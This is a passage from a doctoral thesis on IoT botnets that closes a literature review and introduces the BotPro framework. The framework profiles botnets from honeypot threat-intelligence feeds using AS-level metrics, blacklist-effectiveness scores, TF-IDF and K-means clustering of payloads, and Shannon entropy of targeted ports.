their behaviours and to measure their possible negative impact pose on the Internet [145].
A key issue with Open DNS resolvers is that they are open to any client on the Internet
and can be utilised to resolve the domain name without requiring the users to have autho-
risation. Park et al. [145] highlighted that malicious actors exploit these DNS resolvers
for various malicious purposes such as DNS amplification and DNS manipulation attacks.
Moreover, the researchers in [145] examined and analysed the features of DNS header in
response packets in order to understand the behaviour of DNS open resolvers and estimate
their numbers globally. Consequently, the authors in [145] discovered around 3 million
open DNS resolvers on the Internet and revealed their abnormal behaviour.
Several studies investigated the distribution of illicit activities over countries as well as
aggregated units of resources for botnets, such as ASes and IP address spaces (e.g.,[146,
147, 120]). However, no work to our knowledge has investigated the correlation between
the structural properties of an AS based on its inter-domain routing policies against diverse
CTI feeds as we do in this work.
Work described in [148] focuses on developing security schemes for rating AS reputa-
tion. Hence, they attempt to identify malicious or poorly managed networks. However,
there are no insights on network attributes that frequently embrace malicious activities. In
parallel, the study in [134] proposed different reputation metrics that are entirely focused
on the concentration of abuse while taking into consideration some features of hosting
providers. By contrast with the aforementioned pieces of work, we examine the structural
characteristics of ASes in order to determine the influence of these characteristics explicitly
on IoT botnet activity.
The work in [43, 125, 42, 24] focused on identifying the general properties of botnets and
revealed that they had a particularly heavy concentration in a small number of countries,
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showing the most ASes harbor malicious activities. Nonetheless, both studies do not pro-
vide insight into the prevalence of botnets among ASes and do not consider the individual
prefixes advertised by ASes, as we show in this work.
Early botnet detection techniques have received attention in the last few years. For instance,
Abaid et al. [97] carried out an empirical study to investigate the temporal relationship
between botnet infection phases to recognise what behaviour usually precedes attacks. This
study focuses on the synchronised behaviour of two or more machines communicating
with a C&C server synchronously. Thus, three indicators had been proposed in [97] to
observe such behaviour which are domain generation algorithm (DGA), failed connection
and blacklisted host contact. By examining the correlation between attacks and behavioural
synchronisation would be possible to understand how often machines that launch attacks
exhibit synchronised behaviour [97]. Early alerts can be raised for network attacks by
detecting the synchronised behaviour. [97]. Furthermore, the previous study revealed that
the C&C communication stage has the highest probabilities to precede the attack, followed
by downloading malicious code stage. However, the aforementioned study did not delve
into the examination of malware loaders’ role in botnet infection phases.
As highlighted by many studies and security vendors, P2P botnets are hard to backtrack.
Therefore, profiling their structural characteristics across the global Internet is a challeng-
ing task. Overall, there is still a lack of mechanisms on tracking critical components in
charge of instrumenting the formation of P2P botnets such as botnet loaders, or vital su-
pernodes in charge of coordination [149]. Hence, the development of generic methods
to identify critical nodes is still an open issue and it would surely benefit future botnet
mitigation strategies.
Our work with BotPro, in contrast, recognises the importance of these critical nodes in
botnet propagation. BotPro’s approach encapsulates an understanding of botnet dynamics
beyond synchronisation, also factoring in the behaviour of malware loaders, thus expand-
ing the scope of botnet detection and prevention. Consequently, BotPro’s methodology,
which embraces a more holistic understanding of botnet propagation dynamics, promises
a superior framework for the early detection of botnet threats.
A study performed by Wang et al. [37] analysed the behaviour patterns of botnet DDoS at-
tacks in order to predict the source of future threats. The work in [37] is based on extracting
the intervals time between two consecutive botnet attacks. The authors emphasised that all
attacks had consistent patterns and about fifty percent of the attacks in their dataset were
launched simultaneously. In order to understand the geospatial distribution of the attacking
sources, the researchers in [37] also analysed the geolocation of DDoS attacks and quanti-
fied the geolocation affinity. As per the analysis result in [37] botnet families might exhibit
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predictable patterns in respect to the distance within the involved bots and the victim host.
Comparatively, our approach with BotPro delves deeper into the intricate dynamics of IoT
botnet activities. Beyond analysing temporal patterns and geospatial distribution, we scru-
tinize the network-level relationships and the specific role of each node within the botnet.
This facilitates a more thorough understanding of the botnet’s structure and propagation
characteristics, offering a more comprehensive insight into the IoT botnet phenomenon.
In their work Zhao et al. [150] presented a technique for detecting the presence of botnets
during both the command and control and the attack phases. Early detection of the botnet
in the command and control phase can leverage mitigation of the activity botnet before
its launch. Moreover, as the bots exhibit a uniformity of traffic behaviour and distinctive
communications behaviour, the authors in [150] developed a method to characterise and
classify botnet attributes. However, the proposed techniques in [150] relied on observing
the network flow characteristics of a botnet at the level of the TCP/UDP flow which limited
their analysis on traffic flow rather than payload inspection.
Various types of supervised and unsupervised learning techniques and analysis approaches
have been extensively studied and implemented to prevent and detect cyber security threats.
In supervised learning, data samples are labelled based on their class (e.g., legitimate or
malicious). Data labelling or training data is commonly carried out manually, involving
individuals to identify data patterns according to their classes. Building a mathematical
model in supervised learning requires trained data which is used as an input to the algo-
rithm, predefined classes are produced according to a given new data sample. Applying su-
pervised learning needs a large amount of historical data in order to detect the behavioural
patterns of botnet [151].
In contrast, unsupervised learning does not require any data labelling or training, where
the algorithms define the degree of dispersion between the data samples. Classifying the
samples in unsupervised learning is performed based on the quality of data coherence
inside the class as well as data modularity among the classes [152]. Applying unsupervised
learning methods to detect botnets is commonly preferred as they do not require any prior
knowledge [151]. Such methods aimed to group malicious activities relying on similarities
in their behaviours by observing the traffic itself.
The continuous development and dynamic behaviour of IoT botnets can pose some chal-
lenges in applying supervise methods to detect and track their cyber threats. Hence, un-
supervised methods, including clustering and pattern detection have been widely used by
researchers to tackle the issue of IoT botnet. Mazel et al. [153] implemented a purely
unsupervised method that does not rely on any preliminary information regarding the dis-
tribution and previous data labelling. Therefore, the proposed work in [153] could be
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instantly applied to observe anomaly events in the network relying on the identification of
small-size clusters and detection of anomalies. An earlier work was carried out by Port-
noy et al., where the authors used a method relied on unsupervised method and hierarchical
clustering and was trained completely on unlabelled data [154]. Such work aimed to clus-
ter and detect a large number of intrusions by starting an empty set of clusters and then
computing the final set of clusters in signal pass. Indeed, the application of unsupervised
learning methods in our work is largely predicated on the fact that these methods do not
require any prior knowledge of the botnet characteristics or patterns. This aspect is partic-
ularly valuable in the constantly evolving landscape of cyber threats, where new types of
attacks, tactics, and botnets frequently emerge.
In addition, different clustering methods are proposed to study system logs, which include
information regarding most events that appear in the network. Such log files can be gen-
erated from honeypots that aim to simulate any vulnerability which can easily be com-
promised by malicious actors [155]. Alternatively, some authors utilised synthetic traffic
logs, which include background traffic gathered from testbeds or records obtained from
well-known datasets such as CTU13 and ISOT. For example, Le et al. [156] applied unsu-
pervised methods on CTU13 to create a strong data analytics system to detect botnet traffic.
However, exploiting synthetic traffic logs to identify botnet activities may not be sufficient
and could not ensure that detection outputs can be extended to actual botnet behaviour.
In our work, we operate with Internet-wide feeds from globally distributed honeypots tar-
geted by real IoT botnets, which can assist us in gaining adequate insights into the real
botnet behaviour.
Several research efforts have focused on detecting the structure of IoT botnets (e.g.,[157,
158, 159]). Work described in [160] proposed an approach to detect P2P bots in network
traffic by employing machine learning in synergy with dynamic group behaviour analysis
(DGBA). The work in [161] proposed a model for detecting evolving P2P botnet communi-
ties in dynamic communication graphs. However, the dependency of botnet infrastructures
with malware loaders is not covered in any of the aforementioned pieces of work. In addi-
tion, and by contrast with these studies, we provide an insight into the propagation strategy
adopted by IoT botnets.
There have also been studies exploiting graph properties to identify the presence of P2P
botnets (e.g.[162, 163, 164]). The work in [165] identifies bot communities based on char-
acterising the communication amongst network nodes using metrics distilled by undirected
graph definitions such as node degree and conductance. Evidently, most such studies fo-
cused on detecting anomalies in dynamic or static graphs, however, they have not ade-
quately attributed the criticality of specific botnet nodes and their behaviour with respect
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to their AS-level distribution as we do herein.

2.10 Discussion

The examination of the related literature highlights several critical insights and gaps in the
existing body of research concerning IoT botnets, their vulnerabilities, threats, propaga-
tion, evolution and communication protocols. As the landscape of cyber threats evolves,
the understanding and capture of modern scanning characteristics of new botnet variants
become indispensable. While previous studies have offered valuable insights, there re-
mains a gap in addressing the scanning behaviour of IoT botnets. Our work aims to fill
this gap, offering a detailed analysis of the evolving scanning tactics employed by these
threats, and how they adapt to evade existing detection systems.
In contrast to prior studies that tend to examine IoT botnet behaviour from a single or
limited set of vantage points, our work provides a unique, globally encompassing perspec-
tive. Most existing works focus on analysing IoT botnets within controlled environments,
such as laboratories or isolated networks, often leading to partial or context-specific in-
sights. Our work, however, leverages Internet-wide feeds from globally distributed hon-
eypots that are targeted by real-world IoT botnets. By implementing a wide network of
honeypots placed in different ASes around the globe, this method expands the range of
observation, allowing for a more complete understanding of the malicious activities and
trends related to IoT botnets.
BotPro is designed to provide a more realistic and comprehensive understanding of bot-
net behaviour. The insights derived from this research exceed the typical scope of many
existing studies, most of which only focus on specific botnet characteristics or examine
botnets in a relatively static manner. Our work, on the other hand, captures the dynamic
and evolving nature of IoT botnets, providing a broader and more nuanced understanding
of their activities.
Notably, existing researches have not sufficiently addressed the significance of individual
botnet nodes and their behaviour concerning their distribution at the AS-level, an area
that our study specifically focuses on. By investigating this facet, we delve deeper into
the structure of the botnets, providing a much-needed perspective on the role that specific
nodes and their locations play within the botnet ecosystem. This granular analysis allows
us to offer a more detailed understanding of botnet operation and propagation, shedding
light on aspects that were previously underexplored.
One distinguishing factor of our study compared to previous research is the comprehensive
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analysis of attack sessions within the context of commands issued to targeted IoT devices.
Prior studies have not extensively explored the patterns exhibited by these commands, nor
have they considered factors such as command repetition or subsequent actions following
their execution or failure. The insights gained from such an analysis hold significant value
as they can unveil distinct behavioural signatures of various botnets, thereby facilitating
their detection. This information fosters a more nuanced understanding of the operational
methods employed by botnet attacks on IoT devices, which is vital for devising more ef-
fective strategies for detection and mitigation.
While previous studies have made significant strides in understanding botnet infrastruc-
tures, they have predominantly overlooked the relationship between botnet infrastructures
and malware loaders. This oversight is particularly consequential since malware loaders
play a vital role in the functioning of botnets, serving as the conduit for delivering malware
to infect devices and facilitate the botnet’s propagation. Such insufficient attention given
to this specific aspect can lead to an incomplete understanding of botnets as a whole. In
particular, the absence of consideration for the significance and impact of malware loaders
can significantly constrain our understanding of botnet structure, operations, and evolu-
tion. In addition, a distinguishing factor of our work with BotPro is its special emphasis
on the detection of super nodes within the botnet structure, including the critical malware
loaders. These super nodes often play a pivotal role in botnet propagation and therefore
their detection and understanding are of utmost importance.
The proposed methodology in this work is designed to be a cornerstone tool for legal and
cybersecurity entities in their efforts to track and profile IoT botnets. Our work aids in
the prevention of large-scale and rapidly evolving attack vectors, hence providing a robust
defence against these formidable threats. Through the utilisation of BotPro’s capabilities,
our goal is to make a significant contribution to the realm of IoT botnet profiling, thereby
enhancing the effectiveness of ongoing endeavours in combating their threats.

2.11 Summary

Chapter 2 of this thesis provides a comprehensive overview of IoT technology, its adop-
tion, the inherent vulnerabilities and the evolution of IoT botnets. As discussed in Section
2.1, the adoption of IoT devices is driven by the convenience and efficiency that they of-
fer. They facilitate informed decision-making, monitor and manage critical infrastructure,
enhance automation and provide real-time insights. However, IoT devices have proved to
pose significant security risks due to their vulnerabilities and susceptibility to malware. As
described in Section 2.2, IoT devices exhibit some vulnerabilities that render them attrac-
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tive to malicious actors. These vulnerabilities stem from various aspects, including unnec-
essarily open ports on devices, the prevalent use of default passwords and easily guessable
passwords and poor update mechanisms. In addition, the inherent limitations character-
ising IoT devices, such as constrained energy resources and limited computational capa-
bilities, present significant obstacles in implementing complex authentication protocols.
Consequently, these limitations create a potential gateway for malicious actors to exploit
substandard authentication methods. Section 2.3 explored the evolution of IoT botnets
through tracing their development and increasing complexity over the years. As described
in Section 2.4, the successful formation and operation of an IoT botnet primarily rely on ex-
ploiting vulnerabilities in IoT devices. In addition, the establishment of a botnet generally
consists of three main phases, each of which is crucial for the effective construction and im-
plementation of this malicious network. As presented in Section 2.5, the principal phases
involved in the operation of an IoT botnet and interpreted within the context of broader
frameworks used in cybersecurity. MITRE ATT&CK framework provides a structured
approach to understand the lifecycle of botnet attacks, which includes stages like recon-
naissance, credential access, persistence, execution, defence evasion, C&C and impact.
The typical structures of IoT botnets are examined in Section 2.6, revealing their highly
organised and sophisticated nature. Furthermore, it described the three prevalent struc-
tures of IoT botnets: (a) centralised, (b) decentralised (P2P) and (c) hybrid P2P. The shift
towards decentralised structures in recent years is emphasised, reflecting a strategic adop-
tion by botmasters to improve resilience and evade detection. Section 2.7 explored the
role of key internet infrastructure components, including DNS and BGP in botnet oper-
ation. The use of DNS in botnets assists in facilitating communication between the bots
and malicious actors, while BGP plays a significant role in how botnets can propagate and
spread their influence. As described in Section 2.9, many studies have focused on track-
ing and profiling IoT botnets and understanding their intricate behaviour. Despite these
efforts, there remains a gap in addressing the challenges posed by IoT botnets. Hence, our
work endeavours to bridge this gap by constructing a comprehensive profile that captures
the formation, structure, and operational mechanism of IoT botnets. This will be achieved
through the development of a data-driven approach, enabling a deeper understanding of
these intricate cybersecurity threats.



Chapter 3

BotPro Framework

In this third chapter, we will introduce our proposed framework called BotPro, which has
been developed to address the challenges and gaps identified in the literature review pre-
sented in Chapter 2. This chapter will offer a comprehensive overview of the framework
and provide details of its design and objectives. It will serve as a basis for the subsequent
chapters, where we will explore the practical implementation of the framework on a real
dataset. After identifying existing gaps in botnet profiling and characterisation, a subse-
quent step was to gather requirements for the overarching and high level properties of the
BotPro framework. The Must, Should, Could, Would (MoSCoW) method was used as a
prioritization method to determine what should be completed first, what could come later,
and what requirements could be excluded completely. The must-have requirements were
considered essential and without them, the framework would not be usable. The should-
have requirements were considered desirable with high priority, and their absence would
not significantly impact the functionality of the system. The could-have requirements had
lower priority than should-have requirements, and they were implemented if there was time
left. Finally, the would-have requirements were considered as future wishes that might not
be realized due to time and cost constraints.
The use of the MoSCoW method helped to prioritise the requirements and allocate re-
sources effectively. This approach ensured that most important requirements were ad-
dressed first, resulting in a more effective and useful framework for profiling IoT botnet be-
haviour.
The must-have requirements for successful implementation of BotPro to profile IoT botnet
behaviour are considered essential and constitute the core functionality of the framework.
These requirements include:

– Actions: component defines the core functions and objectives of BotPro. It outlines
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the tasks that BotPro aims to accomplish in the context of profiling IoT botnet be-
haviour. These actions serve as a foundation for the subsequent development and
implementation of the framework’s functionalities.

– Methodology: component encompasses the systematic approach and techniques em-
ployed to achieve the objectives of BotPro. It outlines the processes, algorithms, and
methodologies utilised in analysing and interpreting the data related to IoT botnet be-
haviour. This component ensures a structured methodology is followed for accurate
profiling and analysis.

– Measurement infrastructure: plays an essential role in the proposed framework
and is responsible for establishing the necessary infrastructure and tools that are re-
quired to collect data related to IoT botnets. This infrastructure includes honeypots,
integration with Internet measurement tools, utilisation of real-world datasets, and
the establishment of data storage and management systems. By incorporating these
elements, the measurement infrastructure serves as the foundation for generating reli-
able and comprehensive data necessary for profiling IoT botnet behaviour accurately.

The should-have requirements for the BotPro framework encompass additional features
and functionalities that enhance its profiling capabilities for IoT botnet behaviour.

– Integration of advanced data analysis techniques: enhances the framework’s abil-
ity to extract meaningful information from the collected data. This includes leverag-
ing statistical methods, natural language processing, and information theory to iden-
tify intricate patterns, anomalies, and relevant features. This integration of advanced
data analysis techniques enhances the accuracy and effectiveness of the framework
in profiling botnet activities.

– Visualization capabilities: BotPro should encompass visualization capabilities to
visually represent the analysed data in a meaningful and interpretable manner. Through
the utilisation of various visualization techniques, such as graphs, charts, and maps,
BotPro enables cybersecurity analysts to gain valuable insights into the intricate pat-
terns and trends of botnet behaviour.

The could-have requirements for the BotPro framework are additional features and func-
tionalities that can enhance its capabilities for profiling IoT botnet behaviour. While not
essential for the core functionality, these requirements provide added value and expand the
possibilities of the framework.
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– Real-time response mechanisms: currently, BotPro offers comprehensive analytics
and monitoring for the activities of IoT botnets. Nevertheless, the incorporation of
real-time response capabilities would greatly improve its practical effectiveness. This
may encompass the implementation of automated notifications, or even the execution
of automated defensive measures upon meeting of specific criteria.

– Open-source community involvement: making BotPro open-source could encour-
age contributions from the cybersecurity community, resulting in the addition of new
features and improvements. This could also facilitate collaboration and the exchange
of knowledge between both academics and industry professionals.

The would-have" requirements assist in managing expectations about potential features
that could be included in a given release. However, these enhancements are considered
beneficial, they may not be prioritised in the current version due to various constraints
such as time and resources.

– Automated reporting: although BotPro offers comprehensive data analysis and vi-
sualisation, the addition of an automated reporting feature would be a significant im-
provement. Such feature would streamline the process of information dissemination
among the cybersecurity team and facilitating decision-making processes.

– User-defined parameters: allow users to define their own parameters for the data
analysis and visualization module of BotPro. For instance, users could have the abil-
ity to define the specific period for which they want to analyse botnet activity.

3.1 Framework Actions & Methodology

The BotPro framework consists mainly of three components: (i) actions, (ii) methodology,
and (iv) profiling, as depicted in Fig. 3.1. The actions component encompasses the tasks
that BotPro performs to profile IoT botnet activity. BotPro focuses on profiling different
behavioural aspects of IoT botnets, including persistence, components, dynamic behaviour
and propagation. Hence, a systematic approach has been defined in the methodology com-
ponent, which consists of graph theory concepts, ML, NLP and Shannon entropy.

3.1.1 Framework Actions

The actions of BotPro are tailored to identify, assess and attribute various aspects of IoT
botnets. The identify action aims to figure out the existence of IoT botnets and identify
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Figure 3.1: Main components of the proposed framework for profiling IoT botnet.

their infrastructure. Hence, the measurement infrastructure in Section 3.2 has been built
to identify the originated ASes, bot loaders and malware variants. In addition, it is respon-
sible to identify the structural properties of IoT botnets including P2P and centralised. It
also identifies the persistence of IoT botnet activities by measuring the longevity of their
operation across the Internet.
The actions component of BotPro also aims to assess the structural properties of IoT botnets
with respect to AS-level as well as bot loaders. It measures the influence of critical ASes
and bot loaders in the propagation of IoT botnets. It also assesses the structural properties
of botnet loaders with respect to the distribution of malware binaries of various strains. In
addition, the assess function aims to evaluate the effectiveness of global blacklists in cap-
turing IoT botnets. It also assesses the temporal duration of botnet activity and considers
both AS-level and individual bots.
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The attribute function contributes to provide compilation of the most important AS at-
tributes that frequently embrace botnet activity. Furthermore, it aims to capture the propa-
gation characteristics and attribute attack strategies through tracking the behaviour of IoT
P2P botnet loaders.
The actions component performs different functions in order to profile the behaviour of
IoT botnets. As shown in Fig. 3.1 a diverse range of methods are harnessed within this
methodology component, including information theory, statistical methods, natural lan-
guage processing, ML and graph theory. We applied different data analysis and ML algo-
rithms to sort and analyse the processed data to obtain logical and structured information.
The principle in information theory is employed to find important data and it is based on
the fields of probability theory and statistics. The most widely used technique in this con-
text is Shannon’s entropy, which is known as the dispersal grade of features. We exploit
the properties of entropy as the traffic dynamics imposed by botnets hold a high level of
randomness in both scanning and instrumentation.
We use the entropy to measure the amount of information obtained by observing CTI feed
logs. Since the infected IPs probe our honeypots in time intervals, we have created port
sequences by combining the destination port records for each source IP. Thus, we can ob-
tain the destination port’s sequence for each source IP. A sequence 𝑆 is defined as the
collection of ports from a given 𝑠𝑜𝑢𝑟𝑐𝑒𝐼𝑃 to a certain 𝑑𝑒𝑠𝑡𝑖𝑛𝑎𝑡𝑖𝑜𝑛𝐼𝑃 . Consequently, we
have constructed a table indicating a time frame with two variables: the source IP address
and the sequence of the distention port. The methodology also includes a coefficient vari-
ation (CV), which represents a statistical indicator for the dispersion of data points around
the mean. Such statistical tool is utilised to measure the effectiveness of the blacklists in
capturing the activities of botnets.

3.1.2 Methodology

The methodology presents the systematic approach and techniques applied in the BotPro.
It thus provides an overview of the algorithms and techniques utilised in analysing and in-
terpreting the data. By adopting this structured methodology, the proposed BotPro ensures
the generation of reliable and accurate insights with respect to the dynamic behaviour and
characteristics of IoT botnets.
IP address mapping: was performed by associating a set of IP addresses, denoted as 𝐵,
involved in botnet activity with their corresponding originating ASes, denoted as (𝐴𝑆𝑥).
Therefore, the notation 𝑜𝑐𝑐(𝐵 ∈ 𝐴𝑆𝑥) represents the total count of IP addresses in 𝐵 that
are announced by (𝐴𝑆𝑥). This mapping process facilitated the attribution of botnet activ-
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ity to specific ASes, enabling further analysis and understanding of the botnet’s network
structure and geographical distribution. Thus, the formula to map IP addresses to their
corresponding ASes is:

occ(𝐵 ∈ 𝐴𝑆𝑥) = |{𝑏 ∈ 𝐵 ∶ 𝑏 is announced by 𝐴𝑆𝑥}| (3.1)

Where:
– |⋅| denotes the cardinality (or size) of a set.
– 𝑏 represents an individual IP address in the set 𝐵.

IP address space: in order to illustrate the prevalence of IoT botnet over AS’s prefixes,
we retrieve the advertised prefixes (𝑃𝑚) for each 𝑏 to determine the number of prefixes for
𝐴𝑆𝑥 involved in botnet activity (𝑃𝑚 ∈ 𝐴𝑆𝑥). We subsequently identify the total number
of advertised prefixes for each 𝐴𝑆𝑥 by using Shadowserver data, resulting in (𝑃 𝑡 ∈ 𝐴𝑆𝑥).
We obtain the abuse rate of 𝐴𝑆𝑥 as follows:

𝑀(𝐴𝑆𝑥) =
#(𝑃𝑚 ∈ 𝐴𝑆𝑥)
#(𝑃 𝑡 ∈ 𝐴𝑆𝑥)

(3.2)

Furthermore, we apply the Jenks Natural Breaks (JNB) algorithm, which is a one-dimensional
clustering (grouping) method. Our aim is to arrange values generated by 𝑀(𝐴𝑆𝑥) into
classes based on a one-dimensional parameter: abuse rate. It is accomplished by maximis-
ing the variation across different classes and simultaneously while minimising the variance
within each individual class [166]. Given a set of abuse rates 𝑀 for various ASes and a
number of classes 𝑘, the sum of squared deviations from the array’s mean (SDAM), is
given as:

𝑆𝐷𝐴𝑀 =
𝑛
∑

𝑖=1
(𝑀(𝐴𝑆𝑥𝑖) − �̄�)2 (3.3)

Where:
– 𝑀(𝐴𝑆𝑥𝑖) is the abuse rate for the 𝑖𝑡ℎ AS.
– �̄� is the mean of all abuse rates.

The sum of squared deviations for each class (SDCM) is:

𝑆𝐷𝐶𝑀 =
𝑘
∑

𝑖=1

𝑛
∑

𝑗=1
(𝑀(𝐴𝑆𝑥𝑗,𝑐𝑙𝑎𝑠𝑠) − ̄𝑀𝑐𝑙𝑎𝑠𝑠)2 (3.4)
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Where:
– 𝑀(𝐴𝑆𝑥𝑗,𝑐𝑙𝑎𝑠𝑠) is the abuse rate of the 𝑗𝑡ℎ AS in the specific class.
– ̄𝑀𝑐𝑙𝑎𝑠𝑠 is the mean of the abuse rates in that class.

IP Blacklist effectiveness: we measure the effectiveness of a blacklist by computing the
coefficient variation (CV) of 𝑜𝑐𝑐(𝐵 ∈ 𝐴𝑆𝑥) and 𝐿, where 𝐿 indicates the presence of 𝐵 in
the blacklist. CV represents a statistical indicator for the dispersion of data points around
the mean. In our case, a smaller score implies that a high proportion of IPs is blacklisted,
whereas a high score indicates a low ratio of IPs is observed by blacklists. Hence the CV
for a given ASx is denoted as:

𝐶𝑉 (𝐴𝑆𝑥) = (𝑆𝐷∕𝜇) (3.5)

where 𝑆𝐷 is the sample standard deviation and 𝜇 is the sample mean.
In addition, we proposed a metric for ranking AS based on the ratio of its malicious IP
addresses detected by blacklists. In particular, the beta distribution (BD) is often used
to model binary events and produce a ranking score [167, 168]. We leverage the BD to
measure the risk level associated with different ASes over the Internet. In our experiment,
we consider whether a blacklist can successfully block a malicious IP or not as a random
binary event. If the blacklist lists a malicious IP advertised by AS then a positive event
occurs, and a negative event occurs if the blacklist does not list the malicious IP advertised
by the AS. Hence, the BD can be computed as follows:

𝐸(𝑝) = 𝛼
𝛼 + 𝛽

(3.6)

where 𝐸(𝑝) represents the expected ranking score of AS based on the beta distribution
parameters. 𝛼 indicates the number of malicious IPs observed by the IP blacklist, and 𝛽
is the number of IPs not listed by the blacklist. The 𝐸(𝑝) gives a score ranging between 1
and 0. Hence, a high score suggests that the majority of malicious activity from that AS is
captured by blacklists and they have low risk. In contrast, a lower score implies that many
malicious activities are evading detection, suggesting a high risk associated with it.
AS degree: based on our BGP inter-domain measurements and defined by aggregating the
number of connected neighbours to 𝐴𝑆𝑥, including customers, peers and providers. Thus,
the total connected links to 𝐴𝑆𝑥 are defined as:

𝔸𝕊(𝑑) = ℝ(𝑝) +ℝ(𝑐) +ℝ(𝑟) (3.7)
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where R(p) are the total peers connected to AS, R(c) are the total customers connected to
an AS and R(r) are the total providers connected to a given AS.
Malware payload profiling: in this step, we analyse and cluster the malicious payloads in-
strumenting botnet activities. We treat each observed CTI log as a textual representation in
order to construct a group of documents and apply Natural Language Processing (NLP) to
adequately profile malware binary strings. Initially, payloads are segmented using whites-
paces to return the segments as tokens. In order to convert chunks of text into meaningful
numerical representations, we apply the TF-IDF (Term Frequency - Inverse Document
Frequency) vectoriser. The TF-IDF approach enables us to determine the weight of each
document, as well as determine the importance of a token in a set of documents. Hence,
the TF-IDF weight is applied to numerically represent payloads by building a document
term matrix comprised of all the segmented tokens in all documents. The TF-IDF weight
is computed by:

𝑇𝐹 − 𝐼𝐷𝐹 = 𝑇𝐹 ∗ 𝐼𝐷𝐹 (3.8)
𝑡𝑓𝑖,𝑗 =

𝑡𝑓𝑖,𝑗
∑

𝑡𝜖𝑑 𝑓𝑡,𝑑
(3.9)

𝑖𝑑𝑓𝑖 = 𝑙𝑜𝑔( 𝑁
𝑑𝑓𝑖

) (3.10)
where 𝑇𝐹 is used to calculate the frequency with which the term occurs in each payload in
our dataset. 𝐼𝐷𝐹 is used to calculate the occurrence of unusual terms across all payloads.
Terms that occur infrequently in our dataset get a high IDF score. Finally, 𝑁 represents
the total number of logs and 𝑑 the entire number of logs in our CTI feeds.
To further cluster payload distributions we utilise the K-means algorithm to relate malware
variant groups based on the AS degree of membership and the distance between logs. The
sum of the squared distance between each point and the centroid in a cluster is calculated
by:

𝑊𝐶𝑆𝑆(𝐾) =
𝑘
∑

𝑗=1

∑

𝑥𝑖𝜀𝑐𝑙𝑢𝑠𝑡𝑒𝑟𝑗

‖

‖

‖

𝑥𝑖 − 𝑥𝑗
‖

‖

‖

2 (3.11)

where 𝑥𝑗 is the sample mean in cluster 𝑗. The optimal number of clusters was determined
through the use of the elbow method by examining the WCSS distribution over different
trials of the K-means clustering process. Additionally, We use the KneeLocator algorithm
to automatically determine the optimal K value by identifying the "knee" point on the
Elbow Curve. The basic algorithm for K-means is shown below in algorithm 1.
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Algorithm 1 K-Means with TF-IDF Algorithm
1: procedure K-MEANS WITH TF-IDF(Data points 𝑋, Number of clusters 𝐾)
2: Compute the TF-IDF matrix 𝑋tfidf for the data points 𝑋 using a TF-IDF vectorizer
3: Initialize 𝐾 cluster centroids randomly
4: while not converged do
5: Assign each data point 𝑥 in 𝑋tfidf to the nearest centroid based on WCSS
6: Update the centroids by computing the mean of all data points assigned to each cen-

troid
7: end while
8: return Cluster assignments 𝐶 and cluster centroids 𝑀
9: end procedure

AS Temporal Length:

calculate the duration of time that a specific AS was involved in botnet activity. Hence, we
identify the earliest and the latest timestamps associated with botnet activities within the
AS. The duration of the event in days can be calculated as follows:

𝐷𝑢𝑟𝑎𝑡𝑖𝑜𝑛 = (𝑡end − 𝑡start)∕24 (3.12)

where:
𝑡𝑠𝑡𝑎𝑟𝑡: timestamp representing the inception of a botnet activity event in a specific AS.
𝑡𝑒𝑛𝑑: timestamp indicating the end of botnet activity event in that AS.

Information (Shannon) Entropy:

Since the traffic dynamics imposed by IoT botnets hold a high level of randomness in both
scanning and instrumentation, we exploit the properties of Shannon entropy as used in
other studies [37]. Hence, we measure the amount of information obtained by observing
CTI feed logs through the Shannon entropy formulation given by:

𝐻(𝑋) = −
𝑛
∑

𝑖=1
𝑝𝑖 𝑙𝑜𝑔2 𝑝𝑖 (3.13)

In practice, we compute the distribution of targeted ports denoted by 𝑝𝑖 in order to identify
their dispersity or concentration with respect to their information entropy 𝐻(𝑋).
The range of values taken by sample entropy depends on N, i.e., the number of distinct val-
ues seen in the sampled set of packets which in our case is the port number. The value of
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Algorithm 2 Shannon Entropy for IPs targeting Ports
1: procedure SHANNON_ENTROPY(𝐼𝑃_𝑝𝑜𝑟𝑡𝑠)
2: 𝑝𝑜𝑟𝑡𝑠_𝑠𝑢𝑚 ← Dictionary()
3: for 𝑎𝑐𝑡𝑖𝑣𝑖𝑡𝑦 ∈ 𝐼𝑃_𝑝𝑜𝑟𝑡𝑠 do
4: 𝐼𝑃 , 𝑝𝑜𝑟𝑡 ← 𝑎𝑐𝑡𝑖𝑣𝑖𝑡𝑦.𝑠𝑝𝑙𝑖𝑡(ε ∶ ε)
5: if 𝐼𝑃 ∈ 𝑝𝑜𝑟𝑡𝑠_𝑠𝑢𝑚 then
6: 𝑝𝑜𝑟𝑡𝑠_𝑠𝑢𝑚[𝐼𝑃 ] ← 𝑝𝑜𝑟𝑡𝑠_𝑠𝑢𝑚[𝐼𝑃 ] + 𝑝𝑜𝑟𝑡
7: else
8: 𝑝𝑜𝑟𝑡𝑠_𝑠𝑢𝑚[𝐼𝑃 ] ← 𝑝𝑜𝑟𝑡
9: end if

10: end for
11: 𝑡𝑜𝑡𝑎𝑙_𝑝𝑜𝑟𝑡_𝑣𝑎𝑙𝑢𝑒 ← ∑

(𝑝𝑜𝑟𝑡𝑠_𝑠𝑢𝑚.𝑣𝑎𝑙𝑢𝑒𝑠())
12: 𝑝𝑟𝑜𝑏 ← Dictionary()
13: for 𝐼𝑃 , 𝑝𝑜𝑟𝑡 ∈ 𝑝𝑜𝑟𝑡𝑠_𝑠𝑢𝑚.𝑖𝑡𝑒𝑚𝑠() do
14: 𝑝𝑟𝑜𝑏[𝐼𝑃 ] ← 𝑝𝑜𝑟𝑡

𝑡𝑜𝑡𝑎𝑙_𝑝𝑜𝑟𝑡_𝑣𝑎𝑙𝑢𝑒
15: end for
16: 𝑒𝑛𝑡𝑟𝑜𝑝𝑦 ← 0
17: for 𝐼𝑃 , 𝑝𝑜𝑟𝑡_𝑝𝑟𝑜𝑏 ∈ 𝑝𝑟𝑜𝑏.𝑖𝑡𝑒𝑚𝑠() do
18: 𝑒𝑛𝑡𝑟𝑜𝑝𝑦 ← 𝑒𝑛𝑡𝑟𝑜𝑝𝑦 + 𝑝𝑜𝑟𝑡_𝑝𝑟𝑜𝑏 × log2(𝑝𝑜𝑟𝑡_𝑝𝑟𝑜𝑏)
19: end for
20: return −𝑒𝑛𝑡𝑟𝑜𝑝𝑦
21: end procedure

sample entropy could be in the range (0, 𝑙𝑜𝑔2 𝑁) with a 0 value indicating that the distribu-
tion is maximally concentrated having all observations be the same. Sample entropy takes
on the value 𝑙𝑜𝑔2 𝑁 when the distribution is maximally dispersed, i.e., 𝑛1 = 𝑛2 = ... = 𝑛𝑁 .
In general, we conduct exploratory normalised entropy overviews of timeseries observa-
tions related to the frequency we observe IP addresses in our honeypots and the correspond-
